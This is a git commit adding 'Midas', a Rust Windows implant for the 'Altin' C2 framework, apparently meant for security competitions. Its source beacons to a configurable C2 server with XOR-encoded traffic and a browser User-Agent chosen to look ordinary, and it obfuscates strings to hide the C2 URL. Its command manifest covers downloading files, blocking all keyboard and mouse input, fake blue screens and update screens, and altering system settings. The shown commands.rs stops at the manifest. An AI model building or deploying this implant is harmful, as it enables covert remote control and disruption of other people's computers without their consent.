mirror of
https://github.com/ConnorGadbois/altin.git
synced 2026-10-21 20:46:17 -05:00
Added Midas implant
This commit is contained in:
parent
79e30d77b8
commit
33ce144bec
@ -29,4 +29,5 @@ python3 -m http.server # Starts a webserver on port 8000
|
||||
## Implants
|
||||
|Implant|Description|Language|OS|
|
||||
|---|---|---|---|
|
||||
|`Tombili`|Competition focused implant with general purpose functionality|Nim|Windows, Linux|
|
||||
|`Tombili`|Competition focused implant with general purpose functionality|Nim|Windows, Linux|
|
||||
|`Midas`|Windows trolling utilities|Rust|Windows
|
||||
41
implants/midas/Cargo.toml
Normal file
41
implants/midas/Cargo.toml
Normal file
@ -0,0 +1,41 @@
|
||||
[package]
|
||||
name = "midas"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
build = "build.rs"
|
||||
description = "Midas - Windows troll implant for the Altin C2"
|
||||
publish = false
|
||||
|
||||
[dependencies]
|
||||
serde = { version = "1", features = ["derive"] }
|
||||
serde_json = "1"
|
||||
local-ip-address = "0.6"
|
||||
ureq = "2.10"
|
||||
|
||||
# Overlays are drawn with egui because they have to be faked from scratch anyway
|
||||
# (fake BSOD, fake update, glitch static). A real MessageBoxW is used instead -
|
||||
# see gui/win.rs. Only the glow renderer is pulled in, since there is no longer
|
||||
# a non-Windows windowing backend to support.
|
||||
eframe = { version = "0.29", default-features = false, features = [
|
||||
"default_fonts",
|
||||
"glow",
|
||||
] }
|
||||
egui = "0.29"
|
||||
image = { version = "0.25", default-features = false, features = [
|
||||
"png",
|
||||
"jpeg",
|
||||
"gif",
|
||||
"bmp",
|
||||
] }
|
||||
|
||||
# Windows only. The X11 backend was removed because a Wayland compositor forbids
|
||||
# the cross-client operations this implant is built around - moving another
|
||||
# application's window, warping the pointer, grabbing the keyboard - so most of
|
||||
# the command surface could not have worked there. main.rs rejects other targets
|
||||
# with an explanation rather than compiling a half-working implant.
|
||||
|
||||
[profile.release]
|
||||
opt-level = "z"
|
||||
lto = true
|
||||
codegen-units = 1
|
||||
strip = true
|
||||
169
implants/midas/README.md
Normal file
169
implants/midas/README.md
Normal file
@ -0,0 +1,169 @@
|
||||
# Midas Agent
|
||||
|
||||
A Windows troll implant, hows images, pops message boxes, changes
|
||||
the wallpaper and shakes the screen.
|
||||
|
||||
**Windows only.** The command surface is built on Win32 — moving another
|
||||
application's window, warping the pointer, `BlockInput`, `PlaySoundW`. An
|
||||
earlier revision had an X11 backend, but a Wayland compositor forbids most of
|
||||
what this implant does to *other* applications, so the Linux build was largely
|
||||
decorative. Building for any other target now fails with an explanation rather
|
||||
than producing something that silently does nothing.
|
||||
|
||||
## Configuring
|
||||
|
||||
Set these in the environment at **compile** time. `option_env!` bakes them into
|
||||
the binary, so the C2 URL and XOR key are not visible in the process
|
||||
environment, and the values are XOR-encoded like every other string constant so
|
||||
they do not appear in `strings` output either.
|
||||
|
||||
|Variable|Default|Purpose|
|
||||
|---|---|---|
|
||||
|`MIDAS_SERVER`|`http://127.0.0.1:3000/`|C2 base URL|
|
||||
|`MIDAS_KEY`|`asdf`|XOR key; must be in the server's keys list|
|
||||
|`MIDAS_REG_FAIL_LIMIT`|`10`|Registration attempts before giving up|
|
||||
|`MIDAS_CHECKIN_SLEEP`|`10`|Seconds between check-ins|
|
||||
|`MIDAS_CHECKIN_JITTER`|`5`|Jitter range in seconds, applied to the sleep|
|
||||
|`MIDAS_LOG`|unset|Set to anything but `0` for stderr diagnostics|
|
||||
|
||||
## Compiling
|
||||
```bash
|
||||
# From Windows, for the usual target:
|
||||
MIDAS_SERVER=https://c2.example.com/ MIDAS_KEY=... \
|
||||
cargo build --release --target x86_64-pc-windows-msvc
|
||||
|
||||
# Cross-compiling from Linux (needs a mingw-w64 linker):
|
||||
MIDAS_SERVER=https://c2.example.com/ MIDAS_KEY=... \
|
||||
cargo build --release --target x86_64-pc-windows-gnu
|
||||
```
|
||||
|
||||
## Commands
|
||||
Every argument is required. Where behaviour is genuinely optional it is
|
||||
expressed with a **sentinel**, listed in the description: the Web UI drops
|
||||
blank inputs from the argument array, so an omitted argument silently shifts
|
||||
every later one down a slot rather than falling back to a default.
|
||||
|
||||
|Command|Description|Arguments|
|
||||
|---|---|---|
|
||||
|`sysinfo`|Report OS, elevation, screen size and overlay state||
|
||||
|`listoverlays`|List running overlays with their id and age||
|
||||
|`stopall`|Close every running overlay and stop any playing sound||
|
||||
|`kill`|Stop the implant||
|
||||
|`getsleep`|Get the current sleep time and jitter||
|
||||
|`setsleep`|Set the sleep time between check-ins|seconds: int, jitter: int|
|
||||
|`fetchimage`|Download a file to the implant's cache and return its path|url: str, filename: str|
|
||||
|`msgbox`|Show a message box|title: str, body: str, icon: str, sound: bool|
|
||||
|`showimage`|Show an image over the desktop|path: str, mode: str, seconds: int, topmost: bool|
|
||||
|`setwallpaper`|Set the desktop wallpaper|path: str|
|
||||
|`getwallpaper`|Report the current wallpaper path so it can be restored||
|
||||
|`shakescreen`|Shake a window back and forth|seconds: int, amplitude: int, interval: int, target: str|
|
||||
|`fakebsod`|Fullscreen fake blue screen with a progress bar|stopcode: str, percent: int, seconds: int|
|
||||
|`fakeupdate`|Fullscreen fake "working on updates" screen|title: str, percent: int, seconds: int|
|
||||
|`faketoast`|Fake desktop notification|title: str, body: str, seconds: int|
|
||||
|`titlechange`|Retitle the foreground window|title: str|
|
||||
|`gettitle`|Report the foreground window's current title||
|
||||
|`toggletaskbar`|Hide or show the taskbar|state: str|
|
||||
|`scare`|Fullscreen image plus sound at once|image: str, sound: str, seconds: int|
|
||||
|`spook`|Fullscreen animated static, matrix rain or scanlines|mode: str, seconds: int|
|
||||
|`playsound`|Play a sound file|path: str, loop: bool|
|
||||
|`volume`|Change the system playback volume|action: str, level: int|
|
||||
|`cursor`|Hide, freeze or move the mouse pointer|action: str, seconds: int|
|
||||
|`desktopnote`|Draw a large text note on the desktop|text: str, x: int, y: int, size: int|
|
||||
|`fontsize`|Scale the system UI font|percent: int|
|
||||
|`minimizeall`|Minimise or restore every window|state: str|
|
||||
|`openurl`|Open a URL in the default browser|url: str, background: bool|
|
||||
|`lockinput`|Block keyboard and mouse input; `0` holds until `stopall`|seconds: int|
|
||||
|
||||
## Sentinels
|
||||
|Argument|Sentinel|Meaning|
|
||||
|---|---|---|
|
||||
|`showimage` / `spook` / `fakebsod` / `fakeupdate` `seconds`|`0`|Do not auto-close; stays until `stopall`|
|
||||
|`scare` `sound`|`none`|Image only, no sound|
|
||||
|`volume` `action`|`set`|Uses the `level` argument; other actions ignore it|
|
||||
|`shakescreen` `target`|`foreground`|Foreground window; `all` for every top-level, `mouse` to shake only the window under the pointer|
|
||||
|`minimizeall` / `toggletaskbar` `state`|`toggle`|Flip to the opposite of the current state. `minimizeall` moves every window one way together, rather than leaving a mix that neither `minimize` nor `restore` could describe afterwards|
|
||||
|`cursor` `seconds`|capped at 60|Ignores anything longer|
|
||||
|`lockinput` `seconds`|`0`|Do not time out; holds until `stopall`. Any interruption needs `stopall` - `sysinfo` reports an active hold as `input lock: active for …s`|
|
||||
|`shakescreen` `seconds`|capped at 30||
|
||||
|
||||
## Platform notes
|
||||
- **Overlays have two backends.** `eframe` is tried first and needs a working
|
||||
OpenGL 3.2+ context; where that is unavailable — a VM with 3D acceleration off,
|
||||
an RDP session, which offers only OpenGL 1.1 — eframe fails during context
|
||||
creation, before its first frame, and does so with a panic from inside glutin.
|
||||
Midas then falls back to a GDI backend that needs no graphics driver at all,
|
||||
and remembers the choice so the dead one is not retried on every command. The
|
||||
fallback also covers a backend that survives startup but dies on its first
|
||||
command: the send itself is the liveness test, so a dead backend is retired at
|
||||
the point it would have failed a command and the same command goes out again
|
||||
on the other one. `sysinfo` reports which is live as
|
||||
`overlay host: running (eframe|gdi)`, along with the real reason if neither
|
||||
came up.
|
||||
- **Panics are reportable, not just stderr noise.** The default hook names only
|
||||
the thread — always one of Midas' own — so every distinct failure printed the
|
||||
same line. The implant installs its own hook that keeps the last few panics
|
||||
and `sysinfo` reports them as `panic: <file>:<line>:<message>`. On a target
|
||||
nobody is sitting at, a stderr line is nowhere to look; this is how the reason
|
||||
a backend died reaches the operator.
|
||||
- **The GDI backend is a transcription, not a port.** Same layouts, same colours,
|
||||
same system font, drawn by hand into a DIB and composited by the window manager
|
||||
through `UpdateLayeredWindow`. What is lost: rounded corners, subpixel layout,
|
||||
and the GPU. What is kept: all seven overlays work, including animated
|
||||
`spook`, and the notification and desktop note are still click-through
|
||||
everywhere they are transparent, because a layered window is hit-tested
|
||||
against its own alpha.
|
||||
- **Text is the one thing GDI is used for.** Everything else is a hand-rolled
|
||||
rasteriser, because GDI cannot write a meaningful alpha channel into a 32-bit
|
||||
DIB. Text is rendered over a sentinel colour and the distance from it is
|
||||
recovered as per-pixel coverage, so antialiasing survives the round trip.
|
||||
Grayscale antialiasing is requested rather than ClearType, since ClearType's
|
||||
subpixel colours would defeat both that and the compositing.
|
||||
- **The overlay host restarts.** It is started lazily by the first visual
|
||||
command and re-created if the backend dies, so a transient failure does not
|
||||
disable overlays for the rest of the implant's life.
|
||||
- **`lockinput`** uses `BlockInput`, which requires an elevated process. An
|
||||
unelevated implant reports the refusal in its own log rather than pretending
|
||||
to have locked anything. `sysinfo` reports the elevation state so this is
|
||||
predictable up front. `0` holds until `stopall`, and `sysinfo` reports an
|
||||
active hold as `input lock: active for …s`.
|
||||
- **No interactive desktop** — a service, a scheduled task, or session 0 — means
|
||||
every window command fails. `sysinfo` reports `desktop: false` in that case.
|
||||
- **`fontsize`** writes `HKCU\Control Panel\Desktop\LogPixels` and broadcasts
|
||||
`WM_SETTINGCHANGE`, so it takes effect for new windows only.
|
||||
- **`setwallpaper` / `getwallpaper`** go through `SystemParametersInfoW` with
|
||||
`SPI_SETDESKWALLPAPER`.
|
||||
- **Overlays** are drawn rather than borrowed from native controls, because they
|
||||
have to be faked from scratch anyway — the BSOD, the update screen, the
|
||||
animated static. `msgbox` is the one exception and uses a real `MessageBoxW`,
|
||||
so it gets the genuine system styling.
|
||||
|
||||
## Design notes
|
||||
- **One GUI thread, many viewports — under eframe.** winit permits one
|
||||
`EventLoop` per process, so "a thread per overlay" cannot work. A single
|
||||
long-lived thread owns the one event loop and each overlay is an egui
|
||||
*viewport* within it.
|
||||
- **A thread and a window per overlay — under GDI.** That shape is illegal for
|
||||
eframe and is exactly why the fallback is not a second egui app: it uses
|
||||
ordinary top-level windows with ordinary message loops, so the one-event-loop
|
||||
constraint does not apply.
|
||||
- **Every command acks immediately.** The Web UI abandons a task after 90
|
||||
seconds (`TASK_TIMEOUT_MS` in `webui/assets/js/agents.js`). Tombili runs
|
||||
commands inline on its check-in loop, so a 30-second shake there would stall
|
||||
check-ins and be reported as a timeout even though it worked. Midas hands
|
||||
work to the GUI thread or a worker thread and returns a status line
|
||||
immediately.
|
||||
- **Blocking calls go on worker threads.** `MessageBoxW` is modal, a key press
|
||||
grab has to hold, `lockinput` has to be undone after a delay or a `stopall`.
|
||||
All of them run through `gui::detach`, so a `lockinput` — timed or
|
||||
continuous — does not hold up the check-in loop.
|
||||
- **`stopall` is immediate.** It bumps an epoch, releases any input hold, sets
|
||||
cancel tokens; overlays check a deadline on their own thread, and `PlaySoundW`
|
||||
is ended by re-issuing it with a null sound, which is the only way to stop it.
|
||||
- **`stopall` does not undo everything.** Wallpaper, title, taskbar, font scale
|
||||
and volume are deliberately left changed — that is the joke. `getwallpaper`
|
||||
and `gettitle` exist so the original state can be read back afterwards. The
|
||||
one thing it must undo is input: a continuous `lockinput` has no other way
|
||||
off, so unblocking it is part of the same cleanup.
|
||||
- **Win32 is declared by hand**, not through the `windows` crate. The
|
||||
declarations are plain `extern "system"`, which keeps the dependency list and
|
||||
the binary small and links identically under the MSVC and GNU targets.
|
||||
25
implants/midas/build.rs
Normal file
25
implants/midas/build.rs
Normal file
@ -0,0 +1,25 @@
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
|
||||
fn main() {
|
||||
println!("cargo:rerun-if-changed=build.rs");
|
||||
|
||||
// Tombili derives its obfuscation seed from hash(CompileTime & CompileDate).
|
||||
// Rust's const evaluation cannot read the clock, so the build script emits
|
||||
// the equivalent per-build seed into OUT_DIR and src/obf.rs includes it.
|
||||
//
|
||||
// This is string obfuscation, not encryption: it keeps protocol strings and
|
||||
// the C2 URL out of `strings` output on the compiled binary. The key and URL
|
||||
// are still recoverable by anything that runs the binary.
|
||||
let seed = SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.map(|d| d.as_nanos() as u32)
|
||||
.unwrap_or(0x9E37_79B9)
|
||||
| 1;
|
||||
|
||||
let out = std::path::PathBuf::from(std::env::var("OUT_DIR").expect("OUT_DIR"));
|
||||
std::fs::write(
|
||||
out.join("seed.rs"),
|
||||
format!("pub const SEED: u32 = {seed:#010x};\n"),
|
||||
)
|
||||
.expect("write seed");
|
||||
}
|
||||
199
implants/midas/src/comm.rs
Normal file
199
implants/midas/src/comm.rs
Normal file
@ -0,0 +1,199 @@
|
||||
//! C2 transport.
|
||||
//!
|
||||
//! Byte-for-byte port of `implants/tombili/src/communication.nim`. The protocol
|
||||
//! is a single HTTP POST to a catch-all route whose body is a repeating-key XOR
|
||||
//! of a JSON document; the server is `server/altin/c2_routes.py`.
|
||||
//!
|
||||
//! ## XOR parity note
|
||||
//!
|
||||
//! The server's `xor_data` walks the decoded body as *characters* and builds the
|
||||
//! result with `chr(ord(a) ^ ord(b))`. That is only equivalent to a byte-wise XOR
|
||||
//! while both operands are ASCII. Every document Midas sends is ASCII because
|
||||
//! `serde_json` escapes non-ASCII as `\uXXXX`, and every document the server
|
||||
//! sends back is assembled from ASCII literals plus the ASCII task payloads
|
||||
//! Midas sent it. So byte-wise XOR matches here.
|
||||
//!
|
||||
//! That is also why the decode side is `from_utf8_lossy` rather than an error:
|
||||
//! if a future server change pushed a non-ASCII byte through, the Python side
|
||||
//! would widen it to a multi-byte codepoint and a byte-wise decode would produce
|
||||
//! mojibake. A lossy decode degrades to "invalid JSON" rather than a panic.
|
||||
|
||||
use serde_json::{json, Map, Value};
|
||||
|
||||
use crate::commands;
|
||||
use crate::config;
|
||||
use crate::obf;
|
||||
|
||||
/// Action discriminators. These must match `server/altin/agent.py:6-8`.
|
||||
pub const ACTION_CHECKIN: i64 = 1;
|
||||
pub const ACTION_REGISTER: i64 = 2;
|
||||
pub const ACTION_TASK_RESULT: i64 = 3;
|
||||
|
||||
/// Response statuses. These must match `server/altin/agent.py:10-14`.
|
||||
pub const STATUS_ERROR: i64 = 0;
|
||||
pub const STATUS_CONTINUE: i64 = 1;
|
||||
pub const STATUS_TASKS: i64 = 2;
|
||||
pub const STATUS_REGISTER: i64 = 3;
|
||||
pub const STATUS_INVALID: i64 = 4;
|
||||
|
||||
const ALL_STATUSES: [i64; 5] = [
|
||||
STATUS_ERROR,
|
||||
STATUS_CONTINUE,
|
||||
STATUS_TASKS,
|
||||
STATUS_REGISTER,
|
||||
STATUS_INVALID,
|
||||
];
|
||||
|
||||
/// Repeating-key XOR over the raw bytes.
|
||||
pub fn xor(data: &str, key: &str) -> String {
|
||||
let key_bytes = key.as_bytes();
|
||||
if key_bytes.is_empty() {
|
||||
return data.to_string();
|
||||
}
|
||||
|
||||
let mut out = Vec::with_capacity(data.len());
|
||||
for (i, byte) in data.as_bytes().iter().enumerate() {
|
||||
out.push(byte ^ key_bytes[i % key_bytes.len()]);
|
||||
}
|
||||
|
||||
String::from_utf8_lossy(&out).into_owned()
|
||||
}
|
||||
|
||||
/// The address reported as this agent's identity half.
|
||||
///
|
||||
/// The server keys agents on `(implant_id, ip)`, both supplied by the client
|
||||
/// with no server-issued nonce, so this is a label and not an authenticator. It
|
||||
/// is whatever the host's primary interface reports.
|
||||
fn local_ip() -> String {
|
||||
match local_ip_address::local_ip() {
|
||||
Ok(addr) => addr.to_string(),
|
||||
Err(_) => obf!("unknown"),
|
||||
}
|
||||
}
|
||||
|
||||
/// Build a JSON object from runtime-computed keys.
|
||||
///
|
||||
/// `serde_json::json!` only accepts literal keys, and every key here goes
|
||||
/// through `obf!` so the plaintext protocol field names stay out of the binary.
|
||||
fn jobj(pairs: Vec<(String, Value)>) -> Value {
|
||||
let mut map = Map::new();
|
||||
for (key, value) in pairs {
|
||||
map.insert(key, value);
|
||||
}
|
||||
Value::Object(map)
|
||||
}
|
||||
|
||||
/// The `{implant_id, ip, action, ..}` envelope shared by all three actions.
|
||||
fn envelope(action: i64, extra: Vec<(String, Value)>) -> Value {
|
||||
let mut pairs: Vec<(String, Value)> = vec![
|
||||
(obf!("implant_id"), json!(config::IMPLANT_ID)),
|
||||
(obf!("ip"), json!(local_ip())),
|
||||
(obf!("action"), json!(action)),
|
||||
];
|
||||
pairs.extend(extra);
|
||||
jobj(pairs)
|
||||
}
|
||||
|
||||
/// POST an encrypted payload and return the decoded response document.
|
||||
fn exchange(payload: &Value) -> Result<Value, String> {
|
||||
let key = config::xor_key();
|
||||
let url = config::server_url();
|
||||
|
||||
let encrypted = xor(&payload.to_string(), &key);
|
||||
let body = ureq::post(&url)
|
||||
// The catch-all route reads `request.data`, so the content type is
|
||||
// irrelevant to it; this is only here to look ordinary.
|
||||
.set("Content-Type", "text/plain; charset=utf-8")
|
||||
.set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
|
||||
.send_string(&encrypted)
|
||||
.map_err(|e| format!("POST {url} failed: {e}"))?
|
||||
.into_string()
|
||||
.map_err(|e| format!("could not read response body: {e}"))?;
|
||||
|
||||
let plaintext = xor(&body, &key);
|
||||
serde_json::from_str(&plaintext)
|
||||
.map_err(|e| format!("response was not valid JSON after decoding: {e}"))
|
||||
}
|
||||
|
||||
/// Pull the status out of a response, rejecting anything outside the protocol's
|
||||
/// five defined values. Tombili does the same check on the implant side so a
|
||||
/// desynchronised server cannot be mistaken for a successful call.
|
||||
fn status_of(response: &Value) -> Result<i64, String> {
|
||||
let status = response
|
||||
.get(obf!("status"))
|
||||
.and_then(|s| s.as_i64())
|
||||
.ok_or_else(|| obf!("response had no integer `status` field"))?;
|
||||
|
||||
if ALL_STATUSES.contains(&status) {
|
||||
Ok(status)
|
||||
} else {
|
||||
Err(format!("unrecognised status {status}"))
|
||||
}
|
||||
}
|
||||
|
||||
/// Sends the implant's capability manifest. The server stores it verbatim and
|
||||
/// the Web UI builds its operator forms from it, so this is what defines
|
||||
/// Midas' console.
|
||||
pub fn send_registration() -> Result<i64, String> {
|
||||
let registration = jobj(vec![
|
||||
(obf!("os"), json!(config::OS)),
|
||||
(obf!("commands"), commands::manifest()),
|
||||
]);
|
||||
|
||||
let response = exchange(&envelope(
|
||||
ACTION_REGISTER,
|
||||
vec![(obf!("registration"), registration)],
|
||||
))?;
|
||||
|
||||
status_of(&response)
|
||||
}
|
||||
|
||||
pub fn send_task_result(task_id: &str, result: &str) -> Result<i64, String> {
|
||||
let body = jobj(vec![
|
||||
(obf!("task_id"), json!(task_id)),
|
||||
(obf!("result"), json!(result)),
|
||||
]);
|
||||
|
||||
let response = exchange(&envelope(
|
||||
ACTION_TASK_RESULT,
|
||||
vec![(obf!("result"), body)],
|
||||
))?;
|
||||
|
||||
status_of(&response)
|
||||
}
|
||||
|
||||
/// What a check-in came back with.
|
||||
pub enum Checkin {
|
||||
/// The server had tasks queued.
|
||||
Tasks(Vec<Value>),
|
||||
/// The server does not know this agent any more, so it wants a fresh
|
||||
/// registration. This happens when the agent row was deleted from the Web UI
|
||||
/// mid-round.
|
||||
NeedsRegistration,
|
||||
/// Nothing to do.
|
||||
Idle,
|
||||
}
|
||||
|
||||
/// One check-in.
|
||||
///
|
||||
/// The server replies with every task where `completed == false` and re-sends
|
||||
/// them on each check-in until a result lands, so a command whose result is
|
||||
/// lost runs again. That is the server's delivery model, not something this
|
||||
/// layer can fix.
|
||||
pub fn checkin() -> Result<Checkin, String> {
|
||||
let response = exchange(&envelope(ACTION_CHECKIN, Vec::new()))?;
|
||||
|
||||
match status_of(&response)? {
|
||||
STATUS_TASKS => {
|
||||
let tasks = response
|
||||
.get(obf!("tasks"))
|
||||
.and_then(|tasks| tasks.as_array())
|
||||
.cloned()
|
||||
.ok_or_else(|| obf!("status was TASKS but no `tasks` array was present"))?;
|
||||
|
||||
Ok(Checkin::Tasks(tasks))
|
||||
}
|
||||
STATUS_REGISTER => Ok(Checkin::NeedsRegistration),
|
||||
_ => Ok(Checkin::Idle),
|
||||
}
|
||||
}
|
||||
827
implants/midas/src/commands.rs
Normal file
827
implants/midas/src/commands.rs
Normal file
@ -0,0 +1,827 @@
|
||||
//! Command manifest and dispatch.
|
||||
//!
|
||||
//! The server stores whatever manifest this module produces and the Web UI
|
||||
//! renders operator forms straight from it, so `all()` *is* the operator's
|
||||
//! console. Two rules follow from `webui/assets/js/agents.js` and
|
||||
//! `server/altin/management_routes.py:202-207`, and both are enforced by the
|
||||
//! shape of the types here rather than by convention:
|
||||
//!
|
||||
//! 1. **Every argument is `required: true`.** The API compares the number of
|
||||
//! supplied arguments against the number of required ones and rejects
|
||||
//! anything else. An optional argument is worse than useless: the UI renders
|
||||
//! it without an asterisk, the operator leaves it blank, blank inputs are
|
||||
//! dropped from the array (`agents.js:323`), and every later argument
|
||||
//! shifts down one slot. So genuinely optional behaviour is expressed with a
|
||||
//! sentinel value, and the sentinel is documented in the description.
|
||||
//!
|
||||
//! 2. **Arguments are positional and only as long as declared.** `ArgDef` has
|
||||
//! no `required` field to set, so an optional argument cannot be declared by
|
||||
//! accident.
|
||||
|
||||
use serde_json::{json, Value};
|
||||
|
||||
use crate::gui;
|
||||
use crate::info;
|
||||
use crate::jobs;
|
||||
use crate::obf;
|
||||
use crate::sleep;
|
||||
|
||||
pub struct ArgDef {
|
||||
pub name: String,
|
||||
pub arg_type: &'static str,
|
||||
pub description: String,
|
||||
}
|
||||
|
||||
pub struct CommandDef {
|
||||
pub name: String,
|
||||
pub description: String,
|
||||
pub args: Vec<ArgDef>,
|
||||
}
|
||||
|
||||
fn arg(name: &str, arg_type: &'static str, description: &str) -> ArgDef {
|
||||
ArgDef {
|
||||
name: name.to_string(),
|
||||
arg_type,
|
||||
description: description.to_string(),
|
||||
}
|
||||
}
|
||||
|
||||
fn command(name: &str, description: &str, args: Vec<ArgDef>) -> CommandDef {
|
||||
CommandDef {
|
||||
name: name.to_string(),
|
||||
description: description.to_string(),
|
||||
args,
|
||||
}
|
||||
}
|
||||
|
||||
/// The capability manifest, in console order.
|
||||
pub fn all() -> Vec<CommandDef> {
|
||||
vec![
|
||||
// --- operator / cleanup -------------------------------------------
|
||||
command(
|
||||
"sysinfo",
|
||||
"Report OS, elevation, screen size and overlay state",
|
||||
vec![],
|
||||
),
|
||||
command(
|
||||
"listoverlays",
|
||||
"List running overlays with their id and age",
|
||||
vec![],
|
||||
),
|
||||
command("stopall", "Close every running overlay", vec![]),
|
||||
command("kill", "Stop the implant", vec![]),
|
||||
command(
|
||||
"getsleep",
|
||||
"Get the current sleep time and jitter",
|
||||
vec![],
|
||||
),
|
||||
command(
|
||||
"setsleep",
|
||||
"Set the sleep time between check-ins",
|
||||
vec![
|
||||
arg("seconds", "int", "Seconds between check-ins, minimum 1"),
|
||||
arg("jitter", "int", "Random extra delay, 0 to seconds"),
|
||||
],
|
||||
),
|
||||
command(
|
||||
"fetchimage",
|
||||
"Download a file to the implant's cache and return its path",
|
||||
vec![
|
||||
arg("url", "str", "HTTP(S) URL to download"),
|
||||
arg(
|
||||
"filename",
|
||||
"str",
|
||||
"Name to save as; directories in the name are stripped",
|
||||
),
|
||||
],
|
||||
),
|
||||
// --- core ---------------------------------------------------------
|
||||
command(
|
||||
"msgbox",
|
||||
"Show a message box",
|
||||
vec![
|
||||
arg("title", "str", "Window title"),
|
||||
arg("body", "str", "Message body"),
|
||||
arg(
|
||||
"icon",
|
||||
"str",
|
||||
"One of: none, info, warning, error, question",
|
||||
),
|
||||
arg("sound", "bool", "Play a system sound with the dialog"),
|
||||
],
|
||||
),
|
||||
command(
|
||||
"showimage",
|
||||
"Show an image over the desktop",
|
||||
vec![
|
||||
arg("path", "str", "Absolute path to the image"),
|
||||
arg("mode", "str", "One of: fullscreen, center, fit"),
|
||||
arg(
|
||||
"seconds",
|
||||
"int",
|
||||
"Auto-close after this many seconds; 0 stays until stopall",
|
||||
),
|
||||
arg("topmost", "bool", "Keep the window above other windows"),
|
||||
],
|
||||
),
|
||||
command(
|
||||
"setwallpaper",
|
||||
"Set the desktop wallpaper",
|
||||
vec![arg("path", "str", "Absolute path to the image")],
|
||||
),
|
||||
command(
|
||||
"getwallpaper",
|
||||
"Report the current wallpaper path so it can be restored",
|
||||
vec![],
|
||||
),
|
||||
command(
|
||||
"shakescreen",
|
||||
"Shake a window back and forth",
|
||||
vec![
|
||||
arg("seconds", "int", "How long to shake for, capped at 30"),
|
||||
arg("amplitude", "int", "Horizontal travel in pixels, 1-200"),
|
||||
arg("interval", "int", "Milliseconds between moves, 10-200"),
|
||||
arg(
|
||||
"target",
|
||||
"str",
|
||||
"One of: foreground, all, mouse",
|
||||
),
|
||||
],
|
||||
),
|
||||
// --- fake system UI -----------------------------------------------
|
||||
command(
|
||||
"fakebsod",
|
||||
"Fullscreen fake blue screen with a progress bar",
|
||||
vec![
|
||||
arg("stopcode", "str", "Fake stop code, e.g. CRITICAL_PROCESS_DIED"),
|
||||
arg("percent", "int", "Fake completion percentage, 0-100"),
|
||||
arg("seconds", "int", "Auto-close after this many seconds; 0 stays"),
|
||||
],
|
||||
),
|
||||
command(
|
||||
"fakeupdate",
|
||||
"Fullscreen fake 'working on updates' screen",
|
||||
vec![
|
||||
arg("title", "str", "Headline text"),
|
||||
arg("percent", "int", "Fake completion percentage, 0-100"),
|
||||
arg("seconds", "int", "Auto-close after this many seconds; 0 stays"),
|
||||
],
|
||||
),
|
||||
command(
|
||||
"faketoast",
|
||||
"Fake desktop notification",
|
||||
vec![
|
||||
arg("title", "str", "Notification title"),
|
||||
arg("body", "str", "Notification body"),
|
||||
arg("seconds", "int", "Auto-close after this many seconds"),
|
||||
],
|
||||
),
|
||||
command(
|
||||
"titlechange",
|
||||
"Retitle the foreground window",
|
||||
vec![arg("title", "str", "New window title text")],
|
||||
),
|
||||
command(
|
||||
"gettitle",
|
||||
"Report the foreground window's current title",
|
||||
vec![],
|
||||
),
|
||||
command(
|
||||
"toggletaskbar",
|
||||
"Hide or show the taskbar",
|
||||
vec![arg("state", "str", "One of: hide, show, toggle")],
|
||||
),
|
||||
// --- sensory -------------------------------------------------------
|
||||
command(
|
||||
"scare",
|
||||
"Fullscreen image plus sound at once",
|
||||
vec![
|
||||
arg("image", "str", "Absolute path to the image"),
|
||||
arg(
|
||||
"sound",
|
||||
"str",
|
||||
"Absolute path to a sound file, or the literal `none`",
|
||||
),
|
||||
arg("seconds", "int", "Auto-close after this many seconds"),
|
||||
],
|
||||
),
|
||||
command(
|
||||
"spook",
|
||||
"Fullscreen animated static, matrix rain or scanlines",
|
||||
vec![
|
||||
arg(
|
||||
"mode",
|
||||
"str",
|
||||
"One of: static, matrix, scanline, glitch",
|
||||
),
|
||||
arg("seconds", "int", "Auto-close after this many seconds; 0 stays"),
|
||||
],
|
||||
),
|
||||
command(
|
||||
"playsound",
|
||||
"Play a sound file",
|
||||
vec![
|
||||
arg("path", "str", "Absolute path to a WAV file"),
|
||||
arg("loop", "bool", "Repeat until stopped"),
|
||||
],
|
||||
),
|
||||
command(
|
||||
"volume",
|
||||
"Change the system playback volume",
|
||||
vec![
|
||||
arg("action", "str", "One of: mute, unmute, max, min, set"),
|
||||
arg("level", "int", "Level 0-100, used when action is `set`"),
|
||||
],
|
||||
),
|
||||
// --- desktop -------------------------------------------------------
|
||||
command(
|
||||
"cursor",
|
||||
"Hide, freeze or move the mouse pointer",
|
||||
vec![
|
||||
arg(
|
||||
"action",
|
||||
"str",
|
||||
"One of: hide, show, freeze, corner, shake",
|
||||
),
|
||||
arg("seconds", "int", "How long to hold it; capped at 60"),
|
||||
],
|
||||
),
|
||||
command(
|
||||
"desktopnote",
|
||||
"Draw a large text note on the desktop",
|
||||
vec![
|
||||
arg("text", "str", "Text to display"),
|
||||
arg("x", "int", "Position in pixels from the top-left"),
|
||||
arg("y", "int", "Position in pixels from the top-left"),
|
||||
arg("size", "int", "Font size in pixels, 8-200"),
|
||||
],
|
||||
),
|
||||
command(
|
||||
"fontsize",
|
||||
"Scale the system UI font",
|
||||
vec![arg("percent", "int", "Scale percentage, 50-300")],
|
||||
),
|
||||
command(
|
||||
"minimizeall",
|
||||
"Minimise or restore every window",
|
||||
vec![arg("state", "str", "One of: minimize, restore, toggle")],
|
||||
),
|
||||
command(
|
||||
"openurl",
|
||||
"Open a URL in the default browser",
|
||||
vec![
|
||||
arg("url", "str", "URL to open"),
|
||||
arg("background", "bool", "Do not wait for the browser to exit"),
|
||||
],
|
||||
),
|
||||
command(
|
||||
"lockinput",
|
||||
"Block keyboard and mouse input; 0 = until stopall",
|
||||
vec![arg(
|
||||
"seconds",
|
||||
"int",
|
||||
"Seconds to block for; 0 holds until stopall",
|
||||
)],
|
||||
),
|
||||
]
|
||||
}
|
||||
|
||||
/// The manifest as the server expects it. Note the absent `required` key on the
|
||||
/// command objects and the hardcoded `true` on each argument.
|
||||
pub fn manifest() -> Value {
|
||||
json!(all()
|
||||
.iter()
|
||||
.map(|c| json!({
|
||||
"command": c.name,
|
||||
"description": c.description,
|
||||
"args": c.args.iter().map(|a| json!({
|
||||
"name": a.name,
|
||||
"arg_type": a.arg_type,
|
||||
"description": a.description,
|
||||
"required": true,
|
||||
})).collect::<Vec<_>>(),
|
||||
}))
|
||||
.collect::<Vec<_>>())
|
||||
}
|
||||
|
||||
